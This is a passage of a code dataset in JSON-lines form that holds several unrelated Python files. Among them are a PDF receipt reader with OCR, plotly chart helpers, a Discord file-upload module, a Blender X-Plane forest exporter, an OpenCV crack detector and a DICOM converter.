glob.glob(\"*.pdf\"):\n\t\tprint(file)\n\t\tpdfs.append(file)\n\treturn pdfs\n\n#Find Similarity between strings\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\n#Find pdf info\ndef compare_info(read_name,cnpj,money,bill,i):\n\tfile = open(read_name)\n\tfor line in file:\n\t\tline_split = line.split()\n\t\tif(len(line_split)>0):\n\t\t\tfor j in range(0,len(line_split)):\n\t\t\t\tcnpj_cell = \"B\" + i\n\t\t\t\tmoney_cell = \"C\" + i\n\t\t\t\tbill_cell = \"D\" + i\n\n\t\t\t\t#Compare CNPJ\n\t\t\t\tif((xw.Range(cnpj_cell).color ==None)&(len(line_split[j])>0.8*len(cnpj))&(len(line_split[j])<1.5*len(cnpj))):\n\t\t\t\t\tcnpj_n_compare = line_split[j].replace('.','')\n\t\t\t\t\tcnpj_n_compare = cnpj_n_compare.replace('/','')\n\t\t\t\t\tcnpj_n_compare = cnpj_n_compare.replace('-','')\n\t\t\t\t\tif(similar(cnpj_n_compare,cnpj)>0.8):\n\t\t\t\t\t\txw.Range(cnpj_cell).color = (0, 255, 0)\n\n\t\t\t\t\telif((similar(cnpj_n_compare,cnpj)>0.6)&(xw.Range(cnpj_cell).color ==None)):\n\t\t\t\t\t\txw.Range(cnpj_cell).color = (100, 255, 0)\n\n\t\t\t\t#Compare bill number\n\t\t\t\tif((xw.Range(bill_cell).color ==None)&(len(line_split[j])>0.8*len(bill))):\n\t\t\t\t\tn_compare = line_split[j].replace('.','')\n\t\t\t\t\tif(RepresentsInt(n_compare)):\n\t\t\t\t\t\tn_compare = int(n_compare)\n\t\t\t\t\t\tn_compare = str(n_compare)\n\t\t\t\t\t\tbill = str(bill)\n\t\t\t\t\t\tif(similar(n_compare,bill)>0.8):\n\t\t\t\t\t\t\txw.Range(bill_cell).color = (0, 255, 0)\n\t\t\t\t\t\telif((similar(n_compare,bill)>0.6)&(xw.Range(bill_cell).color ==None)):\n\t\t\t\t\t\t\txw.Range(bill_cell).color = (100, 255, 0)\n\n\t\t\t\t#Compare money cell\n\t\t\t\tif((xw.Range(bill_cell).color ==None)&(len(line_split[j])>0.8*len(money))&(len(line_split[j])<1.5*len(money))):\n\t\t\t\t\tmoney_compare = line_split[j].replace('.','')\n\t\t\t\t\tmoney = str(money)\n\t\t\t\t\tmoney.replace('.',',')\n\t\t\t\t\tif(similar(money_compare,money)>0.8):\n\t\t\t\t\t\txw.Range(bill_cell).color = (0, 255, 0)\n\t\t\t\t\telif((similar(money_compare,money)>0.6)&(xw.Range(money_cell).color ==None)):\n\t\t\t\t\t\txw.Range(money_cell).color = (100, 255, 0)\n\t\t\t\t\n\t\t\t\t#Stop if finding all\n\t\t\t\tif((xw.Range(money_cell).color !=None)&(xw.Range(bill_cell).color !=None)&(xw.Range(cnpj_cell).color !=None)):\n\t\t\t\t\tbreak\n#Rotate Image\ndef rotate_90_image():\n\tos.chdir(path)\n\tjpgs = []\n\tfor file in glob.glob(\"*.jpg\"):\n\t\tprint(file)\n\t\tjpgs.append(file)\n\tfor name in jpgs:\n\t\tcolorImage = Image.open(name)\n\t\trotated = colorImage.rotate(90)\n\t\trotated.save(name)\n\n#Check if represents a int\ndef RepresentsInt(s):\n\ttry: \n\t\tint(s)\n\t\treturn True\n\texcept ValueError:\n\t\treturn False\n\n#Read PDF text\ndef read_to_text(pdf_name,complete_adress):\n\ttext=str(parser.from_file(pdf_name))\n\toutfile = os.path.splitext(pdf_name)[0] + \"_read.txt\"\n\tf = open(outfile, \"a\") \n\ttext = text.replace('\\\\n', ' ')\n\tf.write(text)\n\tf.close()\n\n#Transform into image\ndef transform_image(pdf_name,complete_adress):\n\t# Path of the pdf \n\tPDF_file = pdf_name\n\n\t''' \n\tPart #1 : Converting PDF to images \n\t'''\n\n\t# Store all the pages of the PDF in a variable \n\tpages = convert_from_path(PDF_file, 500) \n\n\t# Counter to store images of each page of PDF to image \n\timage_counter = 1\n\n\t# Iterate through all the pages stored above \n\tfor page in pages: \n\n\t\t# Declaring filename for each page of PDF as JPG \n\t\t# For each page, filename will be: \n\t\t# PDF page 1 -> page_1.jpg \n\t\t# PDF page 2 -> page_2.jpg \n\t\t# PDF page 3 -> page_3.jpg \n\t\t# .... \n\t\t# PDF page n -> page_n.jpg \n\t\tfilename = complete_adress+\"page_\"+str(image_counter)+\".jpg\"\n\t\t\n\t\t# Save the image of the page in system \n\t\tpage.save(filename, 'JPEG') \n\n\t\t# Increment the counter to update filename \n\t\timage_counter = image_counter + 1\n\treturn image_counter\n\n#Convert PDF to text\ndef convert_to_text(pdf_name,complete_adress,image_counter):\n\t''' \n\tPart #2 - Recognizing text from the images using OCR \n\t'''\n\t# Path of the pdf \n\tPDF_file = pdf_name\n\t# Variable to get count of total number of pages \n\tfilelimit = image_counter-1\n\n\t# Creating a text file to write the output \n\toutfile = os.path.splitext(PDF_file)[0] + \"_read.txt\"\n\n\t# Open the file in append mode so that \n\t# All contents of all images are added to the same file \n\tf = open(outfile, \"a\") \n\n\t# Iterate from 1 to total number of pages \n\tfor i in range(1, filelimit + 1): \n\n\t\t# Set filename to recognize text from \n\t\t# Again, these files will be: \n\t\t# page_1.jpg \n\t\t# page_2.jpg \n\t\t# .... \n\t\t# page_n.jpg \n\t\tfilename = complete_adress+\"page_\"+str(i)+\".jpg\"\n\t\t\t\n\t\t# Recognize the text as string in image using pytesserct \n\t\ttext = str(((pytesseract.image_to_string(Image.open(filename))))) \n\n\t\t# The recognized text is stored in variable text \n\t\t# Any string processing may be applied on text \n\t\t# Here, basic formatting has been done: \n\t\t# In many PDFs, at line ending, if a word can't \n\t\t# be written fully, a 'hyphen' is added. \n\t\t# The rest of the word is written in the next line \n\t\t# Eg: This is a sample text this word here GeeksF- \n\t\t# orGeeks is half on first line, remaining on next. \n\t\t# To remove this, we replace every '-\\n' to ''. \n\t\ttext = text.replace('-\\n', '')\t \n\n\t\t# Finally, write the processed text to the file. \n\t\tf.write(text) \n\n\t# Close the file after writing all the text. \n\tf.close() \n\n\n#Reading Worksheet\ndef hello_xlwings():\n\t#Conecting to worksheet\n wb = xw.Book.caller()\n i = wb.sheets[0].range(\"H2\").value\n i = int(i) + 1\n\n #Locating cells and adresses\n file_name_cell = \"E\" + str(i)\n cnpj_cell = \"B\" + str(i)\n money_cell = \"C\" + str(i)\n bill_cell = \"D\" + str(i)\n pdf_name = wb.sheets[0].range(file_name_cell).value\n complete_adress = os.path.abspath(__file__)\n complete_adress = complete_adress.replace(\"myproject.py\",\"\")\n pdf_name = complete_adress +pdf_name\n\n #Geting cell values\n cnpj = wb.sheets[0].range(cnpj_cell).value\n money = wb.sheets[0].range(money_cell).value\n bill = wb.sheets[0].range(bill_cell).value\n\n #Rotation atempts\n rotate_try = 0\n\n while(pdf_name):\n \t#Trying to read in text mode\n \twb.sheets[0].range(\"I2\").value = \"OK\"\n \tread_to_text(pdf_name,complete_adress)\n \twb.sheets[0].range(\"I3\").value = \"OK\"\n \tread_name = os.path.splitext(pdf_name)[0] + \"_read.txt\"\n \tinformation = compare_info(read_name,cnpj,money,bill,str(i))\n \twb.sheets[0].range(\"I4\").value = \"OK\"\n \t#Reading from images\n \tif(xw.Range(cnpj_cell).color == None):\n \t\timage_counter = transform_image(pdf_name,complete_adress)\n \t\tconvert_to_text(pdf_name,complete_adress, image_counter)\n \t\twb.sheets[0].range(\"I5\").value = \"OK\"\n \t\tread_name = s.path.splitext(pdf_name)[0] + \"_read.txt\"\n \t\tinformation = compare_info(read_name,cnpj,money,bill,str(i))\n \t\twhile(xw.Range(cnpj_cell).color == None):\n \t\t\twb.sheets[0].range(\"I6\").value = \"OK\"\n \t\t\trotate_90_image()\n \t\t\tconvert_to_text(pdf_name,complete_adress, image_counter)\n \t\t\tread_name = s.path.splitext(pdf_name)[0] + \"_read.txt\"\n \t\t\tinformation = compare_info(read_name,cnpj,money,bill,str(i))\n \t\t\trotate_try = rotate_try + 1\n \t\t\tif(rotate_try==3):\n \t\t\t\trotate_try = 0\n \t\t\t\tbreak\n \t#Updating cell\n \ti = i+1\n \twb.sheets[0].range(\"H2\").value = i\n \tfile_name_cell = \"E\" + str(i)\n \tcnpj_cell = \"B\" + str(i)\n \tmoney_cell = \"C\" + str(i)\n \tbill_cell = \"D\" + str(i)\n \tpdf_name = wb.sheets[0].range(file_name_cell).value\n \tif(pdf_name==\"\"):\n \t\tbreak\n \tpdf_name = complete_adress +pdf_name\n \tcnpj = wb.sheets[0].range(cnpj_cell).value\n \tmoney = wb.sheets[0].range(money_cell).value\n \tbill = wb.sheets[0].range(bill_cell).value\n\n","repo_name":"LucaswasTaken/Receipt_reader","sub_path":"myproject_backup.py","file_name":"myproject_backup.py","file_ext":"py","file_size_in_byte":7693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41520065611","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nimport json\nimport plotly.express as px\n\n\n\ndef make_price_sparks(d):\n data = d\n\n df = pd.DataFrame(data, columns=['N'])\n start = [d[0]] * len(d)\n fig = px.line(df, width=150, height=75)\n fig.update_yaxes(visible=False, showticklabels=False)\n fig.update_xaxes(visible=False, showticklabels=False)\n\n fig.update_layout({\n 'plot_bgcolor': 'rgba(0, 0, 0, 0)',\n 'paper_bgcolor': 'rgba(0, 0, 0, 0)',\n })\n\n c = 'white'\n if d[0] >= d[len(d)-1]:\n c = 'rgba(204, 62, 62, 255)'\n else:\n c = 'rgba(38, 166, 91, 255)'\n\n l2 = fig.add_scatter(y=start, mode=\"lines\", line=dict(color=c))\n\n for trace in fig['data']:\n trace['showlegend'] = False\n\n fig.update_layout(\n margin=dict(l=20, r=20, t=20, b=20)\n )\n\n\n\n fig.update_traces(\n hoverinfo='skip'\n )\n return fig\n\n\ndef make_adv_dec_bar(data):\n adv_df = pd.DataFrame(data, columns=['direction', 'count'])\n\n fig = px.bar(adv_df, x='count', y='direction', text='count', orientation='h', height=350,\n color='direction',\n color_discrete_map={\n data[0][0]: 'rgba(204, 62, 62, 255)',\n data[1][0]: 'rgba(204, 62, 62, 255)',\n data[2][0]: 'rgba(204, 62, 62, 255)',\n data[3][0]: 'rgba(108, 122, 137, 255)',\n data[4][0]: 'rgba(38, 166, 91, 255)', \n data[5][0]: 'rgba(38, 166, 91, 255)', \n data[6][0]: 'rgba(38, 166, 91, 255)', \n })\n \n fig.update_layout({\n 'plot_bgcolor': 'rgba(0, 0, 0, 0)',\n 'paper_bgcolor': 'rgba(0, 0, 0, 0)',\n 'xaxis_showgrid':False, \n 'yaxis_showgrid':False,\n # 'yaxis_visible':False, \n # 'yaxis_showticklabels':False,\n 'xaxis_visible':False, \n 'xaxis_showticklabels':False,\n # 'bargap':0,\n # 'bargroupgap':0\n })\n\n for trace in fig['data']:\n trace['showlegend'] = False\n trace['width'] = .85\n trace['textfont'] = dict(\n family=\"sans serif\",\n size=18,\n color=\"white\",\n )\n\n fig.update_traces(\n hoverinfo='skip',\n marker_line_width=0,\n # textposition=\"inside\"\n )\n return fig\n\n\n\n\ndef make_cpi(data):\n adv_df = pd.DataFrame(data, columns=['month', 'cpi'])\n\n fig = px.bar(adv_df, x='month', y='cpi', text='cpi', orientation='v', height=350)\n \n fig.update_layout({\n 'plot_bgcolor': 'rgba(0, 0, 0, 0)',\n 'paper_bgcolor': 'rgba(0, 0, 0, 0)',\n 'xaxis_showgrid':False, \n 'yaxis_showgrid':False,\n 'yaxis_visible':False, \n 'yaxis_showticklabels':False,\n # 'xaxis_visible':False, \n # 'xaxis_showticklabels':False,\n # 'bargap':0,\n # 'bargroupgap':0\n })\n\n for trace in fig['data']:\n trace['showlegend'] = False\n trace['width'] = .75\n trace['textfont'] = dict(\n family=\"sans serif\",\n size=20,\n color=\"white\",\n )\n\n fig.update_traces(\n hoverinfo='skip',\n marker_line_width=0,\n # textposition=\"inside\"\n )\n return fig","repo_name":"mariusndini/fin-ser-ui-streamlit","sub_path":"mycode.py","file_name":"mycode.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7697536293","text":"from __future__ import annotations\n\nimport os\nfrom base64 import b64encode\nfrom dataclasses import dataclass\nfrom io import BytesIO\nfrom json import dumps\nfrom typing import TYPE_CHECKING\n\nfrom aiohttp import FormData, Payload\n\nfrom ...exceptions import ImageEncodingError\n\nif TYPE_CHECKING:\n from typing import Any, Dict, List, Optional, Tuple\n\n IMAGE_TYPE = Any\n\nPILLOW_IMPORT = True\n\n\ntry:\n from PIL.Image import Image\n\n if TYPE_CHECKING:\n IMAGE_TYPE = Image\nexcept (ModuleNotFoundError, ImportError):\n PILLOW_IMPORT = False\n\n\ndef create_form(\n json_payload: Dict[Any], files: List[File]\n) -> Tuple[str, Payload]:\n \"\"\"\n Creates an aiohttp payload from an array of File objects.\n\n json_payload : Dict[Any]\n The json part of the request\n files : List[`~pincer.objects.message.file.File`]\n A list of files to be used in the request.\n\n Returns\n -------\n Tuple[str, :class:`aiohttp.Payload`]\n The content type and the payload to be sent in an HTTP request.\n \"\"\"\n form = FormData()\n form.add_field(\"payload_json\", dumps(json_payload))\n\n for file in files:\n if not file.filename:\n raise ImageEncodingError(\n \"A filename is required for uploading attachments\"\n )\n\n form.add_field(\"file\", file.content, filename=file.filename)\n\n payload = form()\n return payload.headers[\"Content-Type\"], payload\n\n\ndef _get_file_extension(filename: str) -> Optional[str]:\n \"\"\"\n Returns the file extension from a str if it exists, otherwise\n return :data:`None`.\n\n filename : str\n The filename\n\n Returns\n -------\n Optional[:class:`str`]\n The file extension or :data:`None`\n \"\"\"\n path = os.path.splitext(filename)\n if len(path) >= 2:\n return path[1][1:]\n return None\n\n\n@dataclass\nclass File:\n \"\"\"A file that is prepared by the user to be sent to the discord\n API.\n\n Attributes\n ----------\n content: :class:`bytes`\n File bytes.\n filename: :class:`str`\n The name of the file when it's uploaded to discord.\n \"\"\"\n\n content: bytes\n image_format: str\n filename: Optional[str] = None\n\n @classmethod\n def from_file(cls, filepath: str, filename: str = None) -> File:\n \"\"\"Make a ``File`` object from a file stored locally.\n\n Parameters\n ----------\n filepath: :class:`str`\n The path to the file you want to send. Must be string. The file's\n name in the file path is used as the name when uploaded to discord\n by default.\n\n filename: :class:`str`\n The name of the file. Will override the default name.\n |default| ``os.path.basename(filepath)``\n\n Returns\n -------\n :class:`~pincer.objects.message.file.File`\n The new file object.\n \"\"\"\n with open(filepath, \"rb\") as data:\n file = data.read()\n\n return cls(\n content=file,\n image_format=_get_file_extension(filename),\n filename=filename or os.path.basename(filepath),\n )\n\n @classmethod\n def from_pillow_image(\n cls,\n img: IMAGE_TYPE,\n filename: Optional[str] = None,\n image_format: Optional[str] = None,\n **kwargs,\n ) -> File:\n \"\"\"Creates a file object from a PIL image\n Supports GIF, PNG, JPEG, and WEBP.\n\n Parameters\n ----------\n img: :class:`~pil:PIL.Image.Image`\n Pillow image object.\n filename:\n The filename to be used when uploaded to discord. The extension is\n used as image_format unless otherwise specified.\n image_format:\n The image_format to be used if you want to override the file\n extension.\n\n Returns\n -------\n :class:`~pincer.objects.message.file.File`\n The new file object.\n\n Raises\n ------\n ModuleNotFoundError:\n ``Pillow`` is not installed\n \"\"\"\n if not PILLOW_IMPORT:\n raise ModuleNotFoundError(\n \"The `Pillow` library is required for sending and converting \"\n \"pillow images,\"\n )\n\n if image_format is None:\n image_format = _get_file_extension(filename)\n\n if image_format == \"jpg\":\n image_format = \"jpeg\"\n\n # https://stackoverflow.com/questions/33101935/convert-pil-image-to-byte-array\n # Credit goes to second answer\n img_byte_arr = BytesIO()\n img.save(img_byte_arr, format=image_format)\n img_bytes = img_byte_arr.getvalue()\n\n return cls(\n content=img_bytes, image_format=image_format, filename=filename\n )\n\n @property\n def uri(self) -> str:\n \"\"\"\n Returns\n -------\n str\n The uri for the image.\n See ``_.\n \"\"\" # noqa: E501\n if self.image_format not in {\"jpeg\", \"png\", \"gif\"}:\n raise ImageEncodingError(\n 'Only image types \"jpeg\", \"png\", and \"gif\" can be sent in'\n \" an Image URI\"\n )\n\n encoded_bytes = b64encode(self.content).decode(\"ascii\")\n\n return f\"data:image/{self.image_format};base64,{encoded_bytes}\"\n\n @property\n def content_type(self):\n return f\"image/{self.image_format}\"\n","repo_name":"Pincer-org/Pincer","sub_path":"pincer/objects/message/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":5429,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"67"} +{"seq_id":"8359808767","text":"import discord\nfrom discord.ext import tasks, commands\nimport requests\nfrom bs4 import BeautifulSoup as BS\n\nclass Status(commands.Cog):\n\n def __init__(self, bot):\n self.bot = bot\n self.servers = {'red': 0, 'green': 1, 'blue': 2, 'lime': 3}\n\n @commands.Cog.listener()\n async def on_ready(self):\n print('[Cog: Status] Cog is ready')\n self.status.start()\n if self.status.is_running():\n print('[Cog: Status] Status task is running')\n else:\n print('[Cog: Status] Status task is not running')\n\n \n @tasks.loop(seconds = 60)\n async def status(self):\n await self.bot.change_presence(activity = discord.Game('Red online: ' + self.get_online('red') + '/1000'))\n\n def cog_unload(self):\n print('[Cog: Status] Cog unload is started')\n self.status.cancel()\n\n def get_online(self, serverName):\n server_id = self.servers[serverName]\n ans = requests.get('https://www.advance-rp.ru/join/#')\n page = BS(ans.content, 'html.parser')\n result = page.select('.gamers > span[itemprop=\"playersOnline\"]')\n return str(result[server_id].text)\n\n @commands.command()\n @commands.is_owner()\n async def status_update(self, ctx):\n await self.bot.change_presence(activity = discord.Game('Red online: ' + self.get_online('red') + '/1000'))\n await ctx.send('Bot status updated manually.')\n\n @commands.command()\n @commands.is_owner()\n async def status_stop(self, ctx):\n try:\n self.status.cancel()\n await ctx.send('Status task disabled.')\n except:\n await ctx.send('Status task is not launched.')\n\n @commands.command()\n @commands.is_owner()\n async def status_start(self, ctx):\n try:\n self.status.start()\n await ctx.send('Status task enabled.')\n except:\n await ctx.send('Status task is already launched.')\n \n\ndef setup(bot):\n bot.add_cog(Status(bot))","repo_name":"PythonTorres/TorresRedBot","sub_path":"cogs/Status.py","file_name":"Status.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"540433523","text":"\"\"\"The starting point for the export process, the start of the addon\"\"\"\n\nimport os\nimport os.path\nimport sys\n\n# from .xplane_config import getDebug\n# from .xplane_helpers import XPlaneLogger, logger\nfrom typing import IO, Any, List, Optional\n\nimport bpy\nimport mathutils\nfrom bpy_extras.io_utils import ExportHelper, ImportHelper\n\nfrom io_scene_xplane_for import forest_file, forest_helpers, forest_logger, forest_tree\nfrom io_scene_xplane_for.forest_logger import MessageCodes, logger\n\n\nclass EXPORT_OT_XPlaneFor(bpy.types.Operator, ExportHelper):\n \"\"\"Export to X-Plane Forest file format (.for)\"\"\"\n\n bl_idname = \"export.xplane_for\"\n bl_label = \"Export X-Plane Forest\"\n\n filename_ext = \".for\"\n\n filepath: bpy.props.StringProperty(\n name=\"File Path\",\n description=\"Filepath used for exporting the X-Plane .for file(s)\",\n maxlen=1024,\n default=\"\",\n )\n\n def execute(self, context):\n debug = True\n dry_run = False\n continue_on_error = False\n # self._startLogging()\n logger.reset()\n logger.transports.append(forest_logger.ForestLogger.InternalTextTransport())\n # --- collect ---\n forest_files = forest_file.create_potential_forest_files()\n # ---------------\n\n # --- write -----\n def write_to_disk(forest_file) -> None:\n o = forest_file.write()\n if debug:\n #print(\"---\", o, \"---\", sep=\"\\n\")\n pass\n file_name = bpy.path.ensure_ext(forest_file.file_name, \".for\")\n if logger.errors:\n return\n blend_path = bpy.context.blend_data.filepath\n if self.filepath:\n final_path = os.path.abspath(os.path.join(self.filepath, file_name))\n elif bpy.context.blend_data.filepath:\n final_path = os.path.abspath(\n os.path.join(os.path.dirname(blend_path), file_name)\n )\n\n assert final_path.endswith(\".for\")\n try:\n os.makedirs(os.path.dirname(final_path), exist_ok=True)\n except OSError as e:\n logger.error(e)\n raise\n else:\n if not dry_run:\n with open(final_path, \"w\") as f:\n f.write(o)\n else:\n logger.info(\n MessageCodes.I000,\n \"Not writing '{final_path}' due to dry run\",\n None,\n )\n\n for ff in forest_files:\n try:\n write_to_disk(ff)\n except OSError:\n continue\n\n if not forest_files and not logger.errors:\n logger.error(\n MessageCodes.E010,\n \"Could not find any Root Forests, you must use 2 layers of collections to make forests and their layers with trees\",\n None,\n )\n return {\"CANCELLED\"}\n elif logger.errors:\n return {\"CANCELLED\"}\n else:\n logger.success(\n forest_logger.MessageCodes.S000, \"Export finished without errors\", None\n )\n return {\"FINISHED\"}\n\n def invoke(self, context, event):\n \"\"\"\n Used from Blender when user hits the Export-Entry in the File>Export menu.\n Creates a file select window.\n \"\"\"\n wm = context.window_manager\n wm.fileselect_add(self)\n return {\"RUNNING_MODAL\"}\n\n\n_classes = (\n # XPLANE_MT_xplane_export_log,\n EXPORT_OT_XPlaneFor,\n)\n\nregister, unregister = bpy.utils.register_classes_factory(_classes)\n","repo_name":"X-Plane/XPlaneForExporter","sub_path":"io_scene_xplane_for/forest_export.py","file_name":"forest_export.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29408512838","text":"import cv2\r\n\r\nimg = cv2.imread('duvar.jpg')\r\n\r\n# Gri ton\r\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\r\n# filtreleme\r\nfiltered = cv2.medianBlur(gray, 5)\r\n\r\n# Kenar tespiti\r\nedges = cv2.Canny(filtered, 100, 200)\r\n\r\n# Çatlak tespiti\r\ncontours, hierarchy = cv2.findContours(edges, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\nfor contour in contours:\r\n # Çatlak alanı\r\n area = cv2.contourArea(contour)\r\n # Çatlak genişliğini hesapla\r\n width = contour.shape[0]\r\n # Eğer çatlak 40 pikselden küçükse tehlike yok, büyükse tehlikeli\r\n if width < 40:\r\n cv2.drawContours(img, contour, -1, (0, 255, 0), 2)\r\n cv2.putText(img, \"Tehlike Yok\", (contour.ravel()[0], contour.ravel()[1]), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 1)\r\n else:\r\n cv2.drawContours(img, contour, -1, (0, 0, 255), 2)\r\n cv2.putText(img, \"Tehlikeli\", (contour.ravel()[0], contour.ravel()[1]), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 1)\r\n\r\n# Kırmızı renk aralığı\r\nlower_red = (0, 0, 200)\r\nupper_red = (50, 50, 255)\r\n\r\n# Kırmızı renk maskesi\r\nmask = cv2.inRange(img, lower_red, upper_red)\r\n\r\n# Maskenin alanı\r\nmask_area = cv2.countNonZero(mask)\r\n\r\n# Eğer kırmızı renk varsa metni fotoğrafa yazdır\r\nif mask_area > 0:\r\n text_color = (0, 0, 255)\r\n # Metin stilini \r\n font = cv2.FONT_HERSHEY_SIMPLEX\r\n font_scale = 1\r\n thickness = 3\r\n text = 'Uzmana kontrol ettirin'\r\n text_size, _ = cv2.getTextSize(text, font, font_scale, thickness)\r\n text_x = 5\r\n text_y = text_size[1]\r\n cv2.putText(img, text, (text_x, text_y), font, font_scale, text_color, thickness)\r\n \r\ncv2.imshow('Tehlike Sonucu', img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"erayallkan/Deprem-Catlak-Analizi","sub_path":"çatlak analizi.py","file_name":"çatlak analizi.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69978015253","text":"import os\nimport shutil\nimport pydicom\nimport glob\nimport numpy as np\nimport pandas as pd\nimport SimpleITK as sitk\nfrom progressbar import progressbar\n\nslice_files = glob.glob(\"*.dcm\")\n\n#order slices\ntimes = []\nspacing = np.zeros(3)\nslice_files = sorted(slice_files)\ninst = []\npos =[]\nslice_shape = None\npixeltype = None\n\nn_time_instants = 24\nn_slices = int( len(slice_files)/n_time_instants )\n\n\n\nfor slicefile in slice_files:\n ds = pydicom.read_file(slicefile)\n\n pixels = np.array(ds.pixel_array)\n slice_shape = pixels.shape\n pixeltype = pixels.dtype\n# print(slicefile)\n# print(\"ds.SliceThickness = \",ds.SliceThickness)\n# print(\"ds.ImageOrientationPatient = \",ds.ImageOrientationPatient)\n# print(\"ds.ImagePositionPatient = \", ds.ImagePositionPatient)\n# print(\"ds.PixelSpacing = \",ds.PixelSpacing)\n spacing[0:2] = [float(x) for x in ds.PixelSpacing]\n spacing[2] = float(ds.SpacingBetweenSlices)\n times.append( ds.TriggerTime ) #strings, intentionally\n inst.append(int(ds.InstanceNumber))\n pos.append(float(ds.SliceLocation))\n\n \ndf = pd.DataFrame({'Time':times, 'InstanceNumber':inst, 'File':slice_files, 'Position':pos})\ndf1 = df.sort_values( by = 'InstanceNumber', ascending=True )\ndf1['TimeInstant'] = np.tile( np.arange(n_time_instants), n_slices )\n\nfor i in progressbar( range(n_time_instants) ): \n subdf = df[df1['TimeInstant']==i].sort_values( by = 'Position', ascending=True )\n\n stack = np.zeros( list(slice_shape)+[subdf.shape[0]] , dtype = pixeltype)\n\n time = subdf['Time'].iloc[0]\n for j in range(subdf.shape[0]):\n ds = pydicom.read_file( subdf['File'].iloc[j] )\n stack[:,:,j] = ds.pixel_array\n\n #filename = f\"im_{time:06.0f}.nrrd\"\n filename = f\"im_{i:03d}.nrrd\"\n img = sitk.GetImageFromArray(stack, isVector=False)\n img.SetSpacing(spacing[::-1])\n sitk.WriteImage(img, filename)\n","repo_name":"cbutakoff/tools","sub_path":"Python/dicom2nrrd.py","file_name":"dicom2nrrd.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"67"} +{"seq_id":"73948163412","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef plot_classifications(x_input, y_test, predicted):\n \"\"\"\n Plot a random set of test data with predicted and true labels on an 8x8 grid\n\n Parameters\n ----------\n x_train : training images\n y_train : true labels\n predicted : model predictions of x_train\n\n \"\"\"\n x_test = np.squeeze(x_input)\n nrows = 8\n ncols = 8\n shuffled_idxs = np.random.randint(0, len(x_test), nrows*ncols)\n fig, axes = plt.subplots(nrows=nrows, ncols=ncols, figsize=(16, 16))\n for i, ax in enumerate(axes.ravel()):\n idx = shuffled_idxs[i]\n image = x_test[idx]\n label_true = y_test[idx]\n label_predicted = predicted[idx]\n if label_true != label_predicted:\n # If the true label is different from the prediction of the neural network, plot in red\n ax.imshow(image, cmap=plt.cm.Reds_r, interpolation=\"nearest\")\n else:\n # Otherwise, plot in grayscale\n ax.imshow(image, cmap=plt.cm.Greys_r, interpolation=\"nearest\")\n ax.set_axis_off()\n ax.set_title('predicted: {}\\ntrue: {}'.format(label_predicted, label_true))\n\n plt.subplots_adjust(wspace=1, hspace=1)\n\n\ndef plot_training(history, **kwargs):\n \"\"\"\n Plot training history with training and test accuracies\n\n Parameters\n ----------\n history : This is the output from model.fit()\n kwargs : optional keyword arguments to pass to Axes.set()\n \"\"\"\n fig, axes = plt.subplots(1,2, figsize = (16,5))\n for ax, name in zip(axes, ['loss','accuracy']):\n ax.plot(history.history[name])\n ax.plot(history.history['val_'+name])\n ax.set(title='model '+name, xlabel='epoch', ylabel=name, **kwargs)\n axes[0].legend(['train', 'test'])\n axes[1].legend(['train', 'test'])\n\ndef plot_data(x, y):\n \"\"\"\n Plot a random subset of the data to see what we're working with. Label using the true labels.\n\n Parameters\n ----------\n x : x_train or x_test\n y : y_train or y_test\n \n \"\"\"\n if x.shape[-1] == 1:\n x = x.reshape(x.shape[:-1])\n\n nrows = 8\n ncols = 8\n shuffled_idxs = np.random.randint(0, len(x), nrows*ncols)\n\n fig, axes = plt.subplots(nrows=6, ncols=6, figsize=(10, 10))\n for i, ax in enumerate(axes.ravel()):\n idx = shuffled_idxs[i]\n image = x[idx]\n label = y[idx]\n \n ax.set_axis_off()\n ax.imshow(image, cmap=plt.cm.gray, interpolation=\"nearest\")\n ax.set_title(\"Label: %i\" % label)\n\n plt.subplots_adjust(wspace=0.5, hspace=0.5)\n\ndef plot_latent_space(latent_output, y_train, n_classes):\n \"\"\"\n Plot the activations from the 2 node Dense layer for all of the training data.\n Each digit is coloured separately.\n\n Parameters\n ----------\n latent_output : output from newmodel.predict()\n y_train : true labels\n n_classes : number of digits, in this case 10\n \n \"\"\"\n # Find the maximum extent of activations which we use to set xlim and ylim for plotting\n xlim, ylim = np.array([latent_output.min(axis=0), latent_output.max(axis=0)]).T \n \n fig, ax = plt.subplots(1,1, figsize=(10,10))\n for i in range(n_classes):\n mask = y_train == i\n ax.scatter(*latent_output[mask].T, s=0.5, label=i)\n\n ax.set(xlabel='Activation of node 1', ylabel='Activation of node 2')\n \n lgnd = ax.legend()\n for handle in lgnd.legendHandles:\n handle.set_sizes([100])\n","repo_name":"harry-rendell/MLworkshop","sub_path":"funcs/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24391856449","text":"r\"\"\"Downloads and converts cifar10 data to TFRecords of TF-Example protos.\n\nThis module downloads the cifar10 data, uncompresses it, reads the files\nthat make up the cifar10 data and creates two TFRecord datasets: one for train\nand one for test. Each TFRecord dataset is comprised of a set of TF-Example\nprotocol buffers, each of which contain a single image and label.\n\nThe script should take several minutes to run.\n\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom 